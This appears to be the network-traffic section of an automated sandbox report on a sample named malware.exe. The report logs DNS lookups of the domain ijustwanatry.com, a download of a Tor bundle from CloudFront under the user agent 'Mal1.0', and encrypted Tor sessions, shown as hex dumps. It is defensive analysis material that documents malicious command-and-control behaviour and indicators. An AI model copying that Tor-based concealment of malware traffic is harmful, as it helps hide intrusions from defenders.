May 31, 2023 12:24:09.764050007 CEST	192.168.2.6	8.8.8.8	0x3df9	Standard query (0)	ijustwanatry.com	A (IP address)	IN (0x0001)	false
May 31, 2023 12:24:14.824805975 CEST	192.168.2.6	8.8.8.8	0x95d1	Standard query (0)	ijustwanatry.com	A (IP address)	IN (0x0001)	false
May 31, 2023 12:24:19.856050014 CEST	192.168.2.6	8.8.8.8	0x3391	Standard query (0)	ijustwanatry.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 31, 2023 12:22:20.277360916 CEST	8.8.8.8	192.168.2.6	0xabaf	No error (0)	dz0nhlj1q8ac3.cloudfront.net		99.84.90.27	A (IP address)	IN (0x0001)	false
May 31, 2023 12:22:20.277360916 CEST	8.8.8.8	192.168.2.6	0xabaf	No error (0)	dz0nhlj1q8ac3.cloudfront.net		99.84.90.160	A (IP address)	IN (0x0001)	false
May 31, 2023 12:22:20.277360916 CEST	8.8.8.8	192.168.2.6	0xabaf	No error (0)	dz0nhlj1q8ac3.cloudfront.net		99.84.90.204	A (IP address)	IN (0x0001)	false
May 31, 2023 12:22:20.277360916 CEST	8.8.8.8	192.168.2.6	0xabaf	No error (0)	dz0nhlj1q8ac3.cloudfront.net		99.84.90.81	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:13.198159933 CEST	8.8.8.8	192.168.2.6	0xefb0	Name error (3)	ijustwanatry.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:18.248075962 CEST	8.8.8.8	192.168.2.6	0x6bcb	Name error (3)	ijustwanatry.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:23.289736032 CEST	8.8.8.8	192.168.2.6	0x897b	Name error (3)	ijustwanatry.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:28.417339087 CEST	8.8.8.8	192.168.2.6	0x6dc4	Name error (3)	ijustwanatry.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:33.589494944 CEST	8.8.8.8	192.168.2.6	0x356f	Name error (3)	ijustwanatry.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:38.630980968 CEST	8.8.8.8	192.168.2.6	0x9afb	Name error (3)	ijustwanatry.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:43.691627026 CEST	8.8.8.8	192.168.2.6	0x32d3	Name error (3)	ijustwanatry.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:48.716097116 CEST	8.8.8.8	192.168.2.6	0x2016	Name error (3)	ijustwanatry.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:54.618479013 CEST	8.8.8.8	192.168.2.6	0x63c3	Name error (3)	ijustwanatry.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 12:23:59.692375898 CEST	8.8.8.8	192.168.2.6	0xd9d8	Name error (3)	ijustwanatry.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 12:24:04.742443085 CEST	8.8.8.8	192.168.2.6	0xe929	Name error (3)	ijustwanatry.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 12:24:09.799566984 CEST	8.8.8.8	192.168.2.6	0x3df9	Name error (3)	ijustwanatry.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 12:24:14.848203897 CEST	8.8.8.8	192.168.2.6	0x95d1	Name error (3)	ijustwanatry.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 12:24:19.885850906 CEST	8.8.8.8	192.168.2.6	0x3391	Name error (3)	ijustwanatry.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

dz0nhlj1q8ac3.cloudfront.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49711	99.84.90.27	443	C:\Users\user\Desktop\malware.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49723	171.25.193.9	80	C:\Users\user\Desktop\TorFiles\Tor\tor.exe

Timestamp	kBytes transferred	Direction	Data
May 31, 2023 12:23:06.735544920 CEST	5515	OUT	Data Raw: 16 03 01 00 b4 01 00 00 b0 03 03 ea 76 a9 d9 1b ec a2 e9 05 8f ba 9c 66 3a a9 91 ae 51 60 89 e6 5a a1 92 f0 3d 6b 61 55 de 29 27 00 00 1c c0 2b c0 2f c0 2c c0 30 c0 0a c0 09 c0 13 c0 14 00 33 00 39 00 2f 00 35 00 0a 00 ff 01 00 00 6b 00 00 00 12 Data Ascii: vf:Q`Z=kaU)'+/,039/5kwww.wjtxs.com#
May 31, 2023 12:23:06.779666901 CEST	5516	IN	Data Raw: 16 03 03 00 39 02 00 00 35 03 03 6e 56 9f 0f 9e 0e 7b f9 9a 6a dd b3 4f f5 c6 ce 0f 41 64 c1 a2 c5 5b 52 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 0d ff 01 00 01 00 00 0b 00 04 03 00 01 02 16 03 03 02 53 0b 00 02 4f 00 02 4c 00 02 49 30 82 02 45 30 Data Ascii: 95nV{jOAd[RDOWNGRD0SOLI0E00H0&1$0"Uwww.mnvarqbyb3vn4jc3bwe.com0221126000000Z230801000000Z010Uwww.afmi4ewxqvmg.net0"0H
May 31, 2023 12:23:06.786351919 CEST	5516	OUT	Data Raw: 16 03 03 00 46 10 00 00 42 41 04 8e 78 a9 71 ba 9e 1d 64 aa 4d 44 97 ea 59 d3 a3 46 62 39 c8 ff ab 15 a8 c4 36 ac a8 92 70 c2 70 dc 38 0d 5c 19 2a ba 3d d8 2c 99 a5 f7 27 91 9c 08 89 c8 d2 cf b5 bf 35 ca a8 33 bf 79 09 7d 1d 14 03 03 00 01 01 16 Data Ascii: FBAxqdMDYFb96pp8\*=,'53y}(s?8ZJI(9G.a
May 31, 2023 12:23:06.829289913 CEST	5516	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 ec 6a fc fe 0f fc c6 1e 63 bc 2e c4 1a e8 25 45 5b 91 75 10 b6 20 8c 21 e0 3c 65 52 da 0e 49 d3 2e fc bc 16 81 3d c2 e5 Data Ascii: (jc.%E[u !<eRI.=
May 31, 2023 12:23:06.830183983 CEST	5516	OUT	Data Raw: 17 03 03 00 23 1d aa 73 a3 13 e2 3f d6 c5 2a ef 22 1f d3 da aa bd 72 fe f9 2a 57 90 78 ed d6 b2 3a 27 15 79 4b df ac cc Data Ascii: #s?"rWx:'yK
May 31, 2023 12:23:06.873096943 CEST	5518	IN	Data Raw: 17 03 03 08 16 ec 6a fc fe 0f fc c6 1f 39 26 f4 a4 25 4d d7 06 69 2e f1 6b 75 b7 7e d5 eb 6b 98 53 24 4d 76 48 6d 5b 2f ee b5 3a fc 4e 19 52 65 b3 74 1e 6e d1 c2 bc b4 e5 61 f7 f2 3c 5c b3 5b a8 15 f1 95 ab 4d 2e e9 27 2e 18 e4 79 28 9e 08 69 15 Data Ascii: j9&%Mi.ku~kS$MvHm[/:NRetna<\[M.'.y(ix9E1qS{>\ib[:zT+2+~4afj.d}B=9~m6c$\f'/ J\|K/p_!Ad;qWl#{J5x9b2T\|e=
May 31, 2023 12:23:06.873145103 CEST	5518	IN	Data Raw: 81 0a 65 c8 e1 a4 2f 47 74 d7 65 d9 e1 bd 4a a9 89 b2 c0 12 50 b9 e5 74 2b 0f 93 92 4c 57 83 e5 99 0c 5a b5 ab a4 dc e2 56 e6 ed 39 cc c7 48 2d 2f c1 6a a7 cf c4 43 21 3d 3f f7 dc 80 c5 ba 67 24 f8 b0 f4 77 20 5d 43 39 f6 d0 45 22 b6 bd de 88 d2 Data Ascii: e/GteJPt+LWZV9H-/jC!=?g$w ]C9E"lpb07R%h"9H]>/Ni+s):Jv<]+`80}e?=[4j+zvM!kSc$n`aM)Xa\|l
May 31, 2023 12:23:06.891057968 CEST	5519	OUT	Data Raw: 17 03 03 04 1c 1d aa 73 a3 13 e2 3f d7 e6 c3 c4 d0 84 41 b2 30 18 5d d5 cf f2 0f 65 26 30 46 53 b0 19 82 4a b3 ba c3 31 67 b0 2e 3a 49 d8 6e 8a 2a c9 55 85 e1 0c 98 95 77 29 57 1f 3e 3c d6 1f fc 6c b5 06 98 bc 55 bf 95 1f 28 c1 dc e4 93 bd 75 6c Data Ascii: s?A0]e&0FSJ1g.:In*Uw)W><lU(ul(27u>:ECQ"0h9GGo1NyND(OpC.M$-j zRy[H+7X={?16Jg`\w({;Be
May 31, 2023 12:23:06.935148001 CEST	5520	IN	Data Raw: 17 03 03 02 1a ec 6a fc fe 0f fc c6 20 27 a8 12 2f f7 ae 86 34 5f 46 83 22 c7 4c 74 38 ee 36 1f 95 78 e6 18 ea ca 55 c6 1d c6 a8 9c f8 ff 05 2d c3 e2 f4 7e 08 53 e3 05 ea 2d 07 23 d3 5f 5e 38 cc 0d a6 8d 49 dd d2 ad 5e 62 57 45 e3 2e db 40 71 9f Data Ascii: j '/4_F"Lt86xU-~S-#_^8I^bWE.@qM\|_:]8rw#Z,""WvP"5A=$"V33O[E1jyJ\|m_t59^\|)1~WK}Rvc?
May 31, 2023 12:23:06.936033010 CEST	5521	OUT	Data Raw: 17 03 03 04 1c 1d aa 73 a3 13 e2 3f d8 53 fa 2e 82 1c 15 13 32 31 41 24 d0 21 ca 2b 82 3d e0 b1 19 96 be e3 8a c5 b2 da af 2f 4a c3 26 b7 af 04 91 23 e8 2e 57 1d cf c6 d5 40 ad 85 fb c9 d1 fc 32 65 e6 04 0d c7 85 61 b6 15 1c c0 3e b9 1f 30 5b 80 Data Ascii: s?S.21A$!+=/J&#.W@2ea>0[ N@dC3[[?M\|E[=,c5Gffk 5 .>LL<%)'exj'ObRnBhQR:3hy
May 31, 2023 12:23:06.980015993 CEST	5522	IN	Data Raw: 17 03 03 0f e8 ec 6a fc fe 0f fc c6 21 05 ae 6a 8f 83 5e 76 6d 33 de b7 4b 6c 3f 1b 88 d9 ff 7b a4 89 ea 18 3e 4d 3a 22 f4 c1 2a 41 bf 5e 51 be 60 22 cc 2e ea 69 c8 67 da 07 e9 4f a6 c8 1d 88 ba 35 fd 71 4e 53 96 eb 18 b7 71 fd 56 a5 5a bd e4 b9 Data Ascii: j!j^vm3Kl?{>M:"*A^Q`".igO5qNSqVZf)E)VjPW9kyXPb{Pp1Krq'K/GX:]z,rM?Hg%?lY0R)jS\mJK({/e
May 31, 2023 12:23:06.980052948 CEST	5524	IN	Data Raw: 15 ba 14 2a d7 6e cd 6d fb f2 ef f3 31 70 5a 79 0b 6a 5e 39 ce 96 4e 15 cd b5 29 98 47 d9 56 17 61 77 bb b1 b6 e2 64 15 a4 49 17 2b 1b cd e6 7a 6e a8 73 cb b7 06 bd d9 e5 3c 2b 5a b7 2f 6d be 1f b8 b1 e5 92 70 22 c0 fc be 0b 3a 6a 72 c9 e6 f7 63 Data Ascii: *nm1pZyj^9N)GVawdI+zns<+Z/mp":jrcu,y>.Pb,b!<ox].Q7H.uqlyrg=c9SBki7}]_;T+NGO##"N-uMZe(}@@O)g
May 31, 2023 12:23:06.980072975 CEST	5525	IN	Data Raw: 01 dd 7a 02 fc 3d a3 86 2e fc 2e 3b a1 0b 77 10 9b 96 cb 4f 05 80 7a b4 54 b9 eb d2 1d 3f 2d 1f 7e 45 aa 2c 92 a3 87 c7 39 3f 29 9b a8 8e f1 4f 9d b6 86 9b 71 1b be 2d dc 4d 0c 55 dc 29 04 6f 73 82 b1 a8 c5 0d ae 7d 9f 32 70 20 b7 aa 03 c0 52 ba Data Ascii: z=..;wOzT?-~E,9?)Oq-MU)os}2p Rq7^"q1vJ- k G?{>!xe3kYrAX5F'lA>E%*-CwQuZr}9`}s-?liSYs,f
May 31, 2023 12:23:06.980091095 CEST	5525	IN	Data Raw: 73 2b b8 69 9d 93 df 5d fd 2b 13 5c a2 38 d2 ea c1 ef af 2d 27 60 5c 97 86 37 c9 c3 ef f1 42 3d 22 f2 63 51 1a 1f d3 2c 09 00 17 ca 6c 04 11 f6 22 cf 4e 99 36 cc 3c b4 54 bd 2b f4 d0 59 3f c0 0f 17 8f 51 51 8b 22 e4 fb cc f4 2d bc 52 db 71 8f f4 Data Ascii: s+i]+\8-'`\7B="cQ,l"N6<T+Y?QQ"-RqR7z~Iq0ydayuB'qi=)9B_)X$D_3t\maAwx'Z7DA{xp0H*+"9+%d[Mv#-%
May 31, 2023 12:23:06.980110884 CEST	5527	IN	Data Raw: 17 03 03 0f e8 ec 6a fc fe 0f fc c6 22 98 3a 62 89 3a 81 9b 5e 8c 13 53 81 b0 a1 33 7c 12 59 b4 38 f4 6b 92 96 c8 1d f3 48 e5 0f 81 f3 1c d9 fa b7 67 4f fc 0e be 67 3a 38 09 3f 08 60 4b 99 48 00 3f 19 e2 e3 eb 71 c9 f7 08 18 7f 28 c5 47 5d 96 1e Data Ascii: j":b:^S3\|Y8kHgOg:8?`KH?q(G]66Ke??`0jvG_IL.&\|Jbv]5ZV-m8J$!XMy")~$p3#pOBz-JbCd8;-Ix^b~a%\5D}C"yxnm
May 31, 2023 12:23:07.025686026 CEST	5562	OUT	Data Raw: 17 03 03 02 1a 1d aa 73 a3 13 e2 3f d9 38 39 e9 f6 7b 38 0f fb 4d 2b 9a 79 a4 f3 fc 23 75 8a 8c ad e3 ca ec 59 b0 f3 a3 c6 4a a9 f1 db 3b 25 8f 47 e7 ba 54 d6 3a c5 7a 99 1e 00 18 6a 58 d6 c6 50 ae 61 fe ea 58 e0 93 6d be 7a 86 d7 b9 5a 88 08 06 Data Ascii: s?89{8M+y#uYJ;%GT:zjXPaXmzZDBmvQOb:&L7(4}e0z(&; v@tT(N<qS@RJt!jOCfTQLL>Cd-v%*)I^e uV#xP0](
May 31, 2023 12:23:07.068916082 CEST	5610	OUT	Data Raw: 17 03 03 04 1c 1d aa 73 a3 13 e2 3f da 49 62 84 ea ad 51 57 fb f8 01 05 ba 71 ff 15 f7 6f 58 f8 10 c8 c2 2f 1f 04 d4 8e ec b5 5d 09 47 ee 0a ad 56 a1 31 e1 c6 57 40 c4 7c 1b b1 c7 08 ab 55 f5 9d 76 d3 cb 79 ef e1 6f 64 65 51 f7 5a 35 c7 54 e9 df Data Ascii: s?IbQWqoX/]GV1W@\|UvyodeQZ5T{QTY-&=!,$"kOqxOPuMQ}"~^{JQVT--=kf?cSxH_Vh=0dAxI!6.Hs@,4)X,ylB
May 31, 2023 12:23:07.110901117 CEST	5620	OUT	Data Raw: 17 03 03 02 1a 1d aa 73 a3 13 e2 3f db a5 f2 62 bf 43 00 c6 94 e2 e1 25 ba 31 00 10 49 33 41 7d 7c ac 35 da b8 72 02 2e b9 91 3d 01 c0 c7 8e d5 87 c2 04 82 d6 82 93 24 5d cf 39 b4 a9 f1 ac 2d c3 df bf af 7e f8 c3 79 5c 6b 44 df ef cd 6e 05 83 54 Data Ascii: s?bC%1I3A}\|5r.=$]9-~y\kDnT5&GV^#[t]$b$ql.cXBYrEcTLH#J7^r(t3x40=]A `*ia?@q?0YMDvi)`l!j9o%26L&^Ewa
May 31, 2023 12:23:07.127301931 CEST	5680	OUT	Data Raw: 17 03 03 04 1c 1d aa 73 a3 13 e2 3f dc c0 85 71 9d 46 96 fc 20 a1 f8 80 ff ef 8e db df 08 d9 20 dd 59 b5 4b 53 0f d6 d3 eb 36 07 1b de 46 55 5e 34 2d cf af c0 ac 89 db 34 35 a4 15 5b 79 95 ad 74 ab d9 85 34 9f 70 23 6d 66 67 db bc 02 0d 7c 4f d7 Data Ascii: s?qF YKS6FU^4-45[yt4p#mfg\|O:+i*o7N?7n,2Lp{KUicifR<X}u\O:X0{=v;JM[U<^/=RCLHU4ki4OWQL/()@w>1JA/>\|h<
May 31, 2023 12:23:07.170783043 CEST	5750	OUT	Data Raw: 17 03 03 04 1c 1d aa 73 a3 13 e2 3f de cd d7 d2 93 98 d5 87 66 ed b0 ba 5b 60 3a dc 5a 23 70 59 60 2b 29 c4 27 2f 24 ec d0 79 1a 1f ba 35 ee 8b 6c 5f cf 1c 49 0a d2 f0 9b 9f 15 d9 28 8b f5 4d 0b bc 4b 32 c0 11 5c dd e7 5b 1c 34 6d c9 05 64 47 f7 Data Ascii: s?f[`:Z#pY`+)'/$y5l_I(MK2\[4mdGH._'7o8v2r'[Ip%3E6\|y- :w7R(9.H@j,?7\ k#f6NH;t)[EB;2:&yARP>G:U=K7

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49711	99.84.90.27	443	C:\Users\user\Desktop\malware.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 10:22:20 UTC	0	OUT	GET /tor-win32-0.3.4.9.zip HTTP/1.1 Connection: Keep-Alive Accept: text/, image/jpeg, application/ User-Agent: Mal1.0 Host: dz0nhlj1q8ac3.cloudfront.net
2023-05-31 10:22:21 UTC	0	IN	HTTP/1.1 200 OK Content-Type: application/zip Content-Length: 5410906 Connection: close Date: Wed, 31 May 2023 10:22:22 GMT Last-Modified: Tue, 01 Feb 2022 12:27:56 GMT ETag: "f9be91c1b315df425a37dc948f58700e" Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 24d97ac79c66f25c7df0732cb86ef322.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MUC50-C1 X-Amz-Cf-Id: UOM1rstPe-e3VbtwhX8qckCdt8ciY_OzKTYsaTMjTHF8cdfUZ2eOcg==
2023-05-31 10:22:21 UTC	0	IN	Data Raw: 50 4b 03 04 0a 00 00 00 00 00 87 7b 62 4d 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 44 61 74 61 2f 50 4b 03 04 0a 00 00 00 00 00 87 7b 62 4d 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 44 61 74 61 2f 54 6f 72 2f 50 4b 03 04 14 00 00 00 08 00 87 7b 62 4d 4b 50 f0 b6 1c fb 12 00 07 ab 40 00 0e 00 00 00 44 61 74 61 2f 54 6f 72 2f 67 65 6f 69 70 7c fd db d2 65 37 92 1e 08 de ef a7 28 b3 be fd 5b da 6b 2d 1c e7 2e 82 c9 62 46 06 83 c9 22 99 99 95 79 57 52 95 a9 65 d6 aa 92 49 d5 d3 a3 7e fa 81 7f 07 07 2e c6 c6 48 06 3f f7 f0 ed 38 2c c0 01 38 00 c7 ff f6 77 3f fe d3 ff fc f7 bf fb bf fe fb 3f ff d3 bf ff cb 3f ff dd 7f fa a7 ff b9 fe fc b7 7f fd bb 3f fe e7 7f ff b7 ff f4 2f ff e3 ef e6 df dd ef 6b fc dd b7 7f fa ff fc b7 ff fa af ff fc 77 3f fc cb Data Ascii: PK{bMData/PK{bMData/Tor/PK{bMKP@Data/Tor/geoip\|e7([k-.bF"yWReI~.H?8,8w????/kw?
2023-05-31 10:22:21 UTC	16	IN	Data Raw: 76 d8 01 3f 83 2a d9 7e 86 51 b6 07 72 14 79 20 07 22 6c ab ec 45 f3 e4 51 f6 d2 72 14 8d 9b 03 91 ab f5 8d 8a 86 f2 71 b8 14 86 5d 0a 7c 38 d5 92 72 92 8c d2 72 76 11 58 c5 c4 2e 86 52 57 2f 1e b0 60 1c 4c 87 2d d8 80 05 e3 c0 37 6c c1 46 d9 5d 7b 94 e1 0a d9 2e 85 61 97 c2 a8 7b cd 35 aa d6 5c 03 c7 0c 24 a9 63 06 7d 20 c2 8c 25 e5 8e 1e 98 16 5a 52 d3 c2 81 3b f5 96 7c 54 21 b8 3e cf a1 67 54 4d a2 06 ee 6b 5b 52 0e cc 81 59 a5 75 16 a7 5e 72 b2 37 3c ab 1c 75 3b 30 47 95 03 73 60 c7 c1 3f d7 ba 63 d4 6d d2 03 27 73 a6 ce ee 84 fa 6e 60 b5 ab 81 61 c7 41 cd c6 3b 0e 03 a7 79 25 c9 d3 bc 04 d9 b9 da a5 0e db 8e 06 d6 dc c0 b0 b9 a0 0f e7 cd 85 05 f6 87 6b ee 71 ed 9e 5b e7 a3 4a 3e bc 31 c3 de 98 00 5b 52 ce c6 d1 72 43 0d 78 88 99 c3 6e 60 fd bc ed e6 Data Ascii: v?*~Qry "lEQrq]\|8rrvX.RW/`L-7lF]{.a{5\$c} %ZR;\|T!>gTMk[RYu^r7<u;0Gs`?cm'sn`aA;y%kq[J>1[RrCxn`
2023-05-31 10:22:21 UTC	18	IN	Data Raw: e0 b9 75 bc 99 78 90 a9 77 d5 85 0b 99 5d f7 26 80 99 cf 5e de 1a df 89 1b 99 f5 4e 9d 3c fb ba 00 66 6b 2c 51 e7 6c 6d 81 e1 6b 56 c4 2b a1 a5 24 37 67 89 6f 30 71 2d 28 24 89 47 30 d7 7c 42 0b 07 62 48 de 30 2c f1 e1 88 a1 f3 c6 c1 89 b8 c7 47 2c 66 4c 78 be fd ee 25 dc 82 f9 c0 08 c4 27 26 46 42 4f 5e e2 26 46 42 0f 2e 71 33 a1 87 97 b8 e3 a4 5a 34 06 4a 06 c6 cf cb ed f3 f3 c4 f8 79 c1 96 01 7f 5e b8 65 50 70 7f 68 fa e7 05 5e cd a5 65 36 06 be 16 0e c9 8b 97 a7 e2 fe 11 f1 4d 66 d1 b1 76 e2 41 26 de 97 f9 db 4b b8 80 89 8b 4e 92 e4 45 a7 00 0a a8 22 4c 9d 78 e6 3e ae a9 12 53 67 9e de 27 a6 4e 9c 52 f8 42 26 4f 29 c4 5b 93 8f 2e 53 10 8b d9 74 c4 82 18 3a c7 e5 d3 e6 c4 94 bc a2 6b 33 f3 81 29 79 3f 3a 15 1f 18 8e 82 00 be 12 45 8c 12 d1 a3 2b 49 7a Data Ascii: uxw]&^N<fk,QlmkV+$7go0q-($G0\|BbH0,G,fLx%'&FBO^&FB.q3Z4Jy^ePph^e6MfvA&KNE"Lx>Sg'NRB&O)[.St:k3)y?:E+Iz
2023-05-31 10:22:21 UTC	19	IN	Data Raw: 57 a9 9f 23 4c 25 80 5d 49 c0 85 c5 1c 3e a8 1f b8 a8 ea 46 db 3a 47 93 ce d8 72 f0 37 1a b0 36 71 34 ba ec 4a 9e 45 95 8c 40 4f 92 64 a0 27 80 6c 0c d3 8d 81 63 b1 25 87 2a 79 da 73 42 1c 09 45 38 b3 08 a8 12 f5 09 5c c8 b4 63 90 78 90 f9 e8 5a 25 03 0b bd c9 2c 65 4b c2 2a 06 e8 6e de c0 d2 e9 e8 25 c0 fe f9 d0 32 90 58 59 9a 72 60 12 37 30 31 21 97 24 27 e4 01 7c c7 81 98 3f bf ba ed 12 b0 24 63 21 e6 9f 63 21 16 c0 41 1b 88 8b 98 17 87 5d 62 e9 f4 51 64 62 4a 62 39 a0 84 b8 1c 08 10 73 c5 af 7f 21 13 73 c5 00 1e 8b 89 99 fa ed 45 13 b1 74 fa 2e 30 b1 24 a3 3e 7f ff cb 4b 58 92 47 7d de ae 4f 1c a9 f2 cf bb 3e f1 f3 de 5f f3 79 eb 6b 3e be 7d 4f dc c4 dc c5 64 c4 09 80 c9 fb 9b c4 d2 79 b7 2d 79 ab d9 3c be 7d 4f 2c c9 ba f3 c9 83 52 01 7c 58 9d 98 a9 Data Ascii: W#L%]I>F:Gr76q4JE@Od'lc%ysBE8\cxZ%,eKn%2XYr`701!$'\|?$c!c!A]bQdbJb9s!sEt.0$>KXG}O>_yk>}Ody-y<}O,R\|X
2023-05-31 10:22:21 UTC	31	IN	Data Raw: be a3 f4 c5 c0 77 81 78 bc 5a d2 3c 5e 0d 54 f2 eb 90 68 60 b7 fa b6 ad 22 21 f6 bc 6c ab 48 50 49 ef e9 56 21 c1 9c f0 46 a5 a4 79 a3 12 68 a6 85 20 01 25 37 77 c5 29 7d 6b 57 7c 44 1c b4 5c 48 82 60 71 ee ba 17 92 24 a8 64 6f de 82 a0 27 27 a2 a6 8d cc c9 ad ed d8 40 6d da fa 90 a0 92 89 b7 5e 24 3d 1f 15 fe 9e 7b d9 49 02 5f e7 e1 9e 2e a5 1f ed e9 2e 74 cd 5c 37 90 18 62 e7 e8 0a 82 c5 79 50 7a 4b a3 f4 62 e7 c8 4d 82 4a 8e 91 84 44 23 db af 54 98 90 f4 7d e8 e6 bb 13 44 39 9b 21 c1 7c 67 1c 3f 13 92 de 0b 60 12 d4 dd ae b4 3e 24 a8 a4 ed f9 37 88 c6 52 72 3b 56 d2 da 8e 0d 84 ed 58 49 6b 3b 76 75 e7 eb c9 99 12 89 26 76 ae 60 48 0c b2 cb fe 96 45 fb ae 81 66 8e dc 24 28 bd 4a 96 75 02 82 d2 f4 85 49 da be b0 a9 b7 16 25 6d 5f d8 42 35 1d 98 24 98 c1 Data Ascii: wxZ<^Th`"!lHPIV!Fyh %7w)}kW\|D\H`q$do''@m^$={I_..t\7byPzKbMJD#T}D9!\|g?`>$7Rr;VXIk;vu&v`HEf$(JuI%m_B5$
2023-05-31 10:22:21 UTC	44	IN	Data Raw: d2 d5 4b da 71 7a 2d 46 7a 2d 78 35 61 4b bb f0 f5 98 15 38 5c 7f a0 ba 2d db f0 2e ed 3d ce 65 fe c8 65 fe 11 9a 9e 84 74 b7 63 b6 3e 5a 9a 99 1d 6c 9e 84 95 ec a3 0c 20 2c 3d 9f 43 b7 cd 63 be ca 67 22 d9 e3 d0 ed 91 7b b4 c3 6f 3f 5a 36 fb 7e da c1 9e 19 ec c7 8e 8d 83 9f 03 1d 36 b6 7b 0d b8 d0 f1 2d 7b 7e cb 7e 78 fc 1c 2a 3d d0 e1 67 1b b9 b8 1e fd 98 b3 8d 5c 5c 8f 5e 4e dd 25 75 1f 6b 40 87 33 07 da ce a3 20 ac a4 9d a5 4c 83 d7 8f f9 77 10 ce e0 e1 d1 1e 39 e8 8e 73 3d 3f 72 3d 3f fa 31 ff 1e dd f3 6f bc 51 bb a5 b3 21 f7 71 e6 64 64 4e f6 f6 37 08 29 19 c7 bc 2a 88 61 f6 91 ef 1c d0 8f 00 e5 24 6e b3 f7 4c c9 17 47 02 5d 47 ab 1a 5e 34 8d 71 b6 ef 91 ed 7b 9c bd 38 dd 13 bc 66 b2 a5 fd 2d c7 b1 1a f5 35 93 40 c7 ee db f0 29 84 1b 0f c2 6c e9 6c Data Ascii: Kqz-Fz-x5aK8\-.=eetc>Zl ,=Ccg"{o?Z6~6{-{~~x=g\\^N%uk@3 Lw9s=?r=?1oQ!qddN7)a$nLG]G^4q{8f-5@)ll
2023-05-31 10:22:21 UTC	51	IN	Data Raw: a4 6d f1 40 06 a0 92 05 9b 29 7f f3 00 54 b2 e8 be 24 76 d3 34 b3 62 ac a5 ee 18 6b d4 cd ed 2d 07 c4 e2 f6 16 d4 8a bd e6 27 b1 97 f6 9a 2b 4c 61 d9 ca 30 85 41 c9 bd e0 0f 5e cd 18 2c b2 71 d3 c4 af 03 30 c4 8e be 64 e3 01 3a d8 dc 51 4b 9a 3b ea a0 1a ae bf f9 e3 06 68 64 c3 39 41 d2 6d 6a 8e dd 0d 0f 02 38 51 07 50 05 f1 5e 43 9f 98 ef 35 c8 46 32 78 fe 2e 01 58 24 77 eb 92 ce dd fa 4d dd 9b 5a 4b 07 b8 3e 1c 8a 7d 02 c0 9a 30 37 9b a5 71 fa 27 a5 88 26 02 1c 83 f7 46 bc f6 96 d2 b1 4f fc 70 28 4b df 40 15 c4 ae d7 d2 de f5 ee cc fe 65 c0 9a 4c ac 69 92 9e 5e d3 36 e3 f2 ab 95 cb eb ce 7d 1e c2 b4 fe f7 cb 80 f5 5e b8 cd b7 34 6e f3 49 8d 96 9f 21 40 49 76 75 4d 02 f0 a3 ad 31 4a 4d e9 31 8a d8 b8 b6 ff 4b d2 b8 b6 0f 6a e3 da 9e 43 33 80 5a b9 c3 46 Data Ascii: m@)T$v4bk-'+La0A^,q0d:QK;hd9Amj8QP^C5F2x.X$wMZK>}07q'&FOp(K@eLi^6}^4nI!@IvuM1JM1KjC3ZF
2023-05-31 10:22:21 UTC	63	IN	Data Raw: ed fc e6 5b 8e ef fe 9c 1e 7b 4e 8f b0 12 59 ba e7 88 ed cf df 7c cf df 3c f6 83 9e 4c b5 1f 0c aa 3f 75 f7 d4 dd 1f eb 65 ef 1e 10 7d 3c 46 ac 9c e2 40 6d 59 fc 08 54 93 f1 fc ed 8c fc ed c4 09 37 6b 32 f2 b7 13 bb 46 5a a0 00 dc 27 08 65 e7 6f 39 72 89 1e e5 d1 df 61 c2 34 9b 61 0c 0c 5c 64 7d ec 21 c2 a7 cb ec c7 6c 3f f2 b7 33 ea 38 c3 7e d4 d4 3d 1e 3f c0 1b b4 64 9f e1 33 46 ea 1e 8f 25 fa 06 25 d9 a7 ab 74 77 04 6a 3e a5 b3 de e3 b1 c0 c8 7f 30 a8 f9 d8 40 8d 9c 63 11 72 25 6b 32 b3 63 e7 b3 ab 66 36 67 ce 47 c7 4e af 97 cc bf 63 e9 95 cd d9 d7 59 e7 47 ce c8 70 93 f0 fc 2d 37 89 9b 9a d7 a3 39 f3 72 73 70 b0 71 05 67 0e e4 70 73 3d d2 39 29 cd 36 ce 2a 15 f9 8e c5 1e 8f 75 3e e2 1b 24 fb cc 6c ba 7d 0b 6a 3f 26 ea 99 3b 8e 75 3d 7e 80 71 7f 62 f6 Data Ascii: [{NY\|<L?ue}<F@mYT7k2FZ'eo9ra4a\d}!l?38~=?d3F%%twj>0@cr%k2cf6gGNcYGp-79rspqgps=9)6*u>$l}j?&;u=~qb
